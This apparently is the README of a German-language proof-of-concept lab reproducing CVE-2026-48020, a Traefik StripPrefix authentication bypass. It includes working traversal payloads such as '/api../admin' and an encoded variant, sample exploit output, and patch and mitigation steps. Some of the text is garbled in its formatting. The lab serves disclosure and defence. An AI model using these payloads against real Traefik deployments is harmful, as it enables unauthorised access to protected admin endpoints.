
Proof-of-concept-Labor für CVE-2026-48020, das einen kritischen Authentifizierungs-Bypass in Traefiks StripPrefix-Middleware durch Pfadnormalisierung demonstriert. Enthält Docker-basierte Reproduktionsumgebung und Verifikationsskripte.
Ein eigenständiger Proof of Concept für CVE-2026-48020, eine Route-Level-Authentifizierungs-/Autorisierungsumgehung in Traefiks StripPrefix-Middleware, verursacht durch Pfadnormalisierung, die nach Routing-Entscheidungen stattfindet.
Eine Anforderung wie GET /api../admin wird zur Routing-Zeit durch einen öffentlichen PathPrefix(\/api`)-Router geleitet (daher wird die basicAuth-Middleware des geschützten Routers nie angehängt), aber nachdem StripPrefix /apientfernt und Go'sreq.URL.JoinPath()das verbleibende/../admin/admin` — einen Pfad, der eigentlich geschützt werden sollte.
normalisiert, erhält das Backend| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Affected | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| Fixed in | v2.11.48, v3.6.19, v3.7.3 |
client (poc.py)
│ GET /api../admin ← no credentials
▼
Traefik :18080 ──routing──▶ public-api router (PathPrefix /api) + StripPrefix
(skips) protected router (PathPrefix /admin) + basicAuth
│ after StripPrefix("/api"): /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
| Datei | Zweck |
|---|---|
docker-compose.yml | Startet ein anfälliges Traefik (v3.7.1) + ein Python-Backend |
dynamic.yml | Traefik dynamische Konfiguration: eine öffentliche /api-Strip-Route und eine geschützte /admin,/internal-Route hinter basicAuth |
backend.py | Kleines Backend, das ein Geheimnis für die geschützten Pfade zurückgibt |
poc.py | Sendet die Bypass-Payloads und meldet, welche Pfade erreicht wurden |
docker compose up -d --wait # start Traefik v3.7.1 + backend
python3 poc.py # run the bypass checks
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3)Die Bypass-Payloads geben 404 anstelle von 200 zurück. Der Patch (Traefik PR #13215) lehnt jede Anfrage ab, deren Pfad nach der StripPrefix/StripPrefixRegex-Normalisierung abweicht, sodass die /../admin-Umschreibung erkannt und abgewiesen wird.
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # bypass payloads now return 404 -> "No bypass observed"
Verhindern, dass die öffentliche Route die Traversal-Form überhaupt matcht:
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`) + StripPrefix(`/api/`)
Gemeldet an die Traefik-Maintainer von WonYun / kyun0 (GitHub: H4ck2); behoben in GHSA-xf64-8mw2-4gr2. Dieses PoC-Labor ist eine unabhängige Reproduktion, die für den begleitenden Artikel erstellt wurde: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.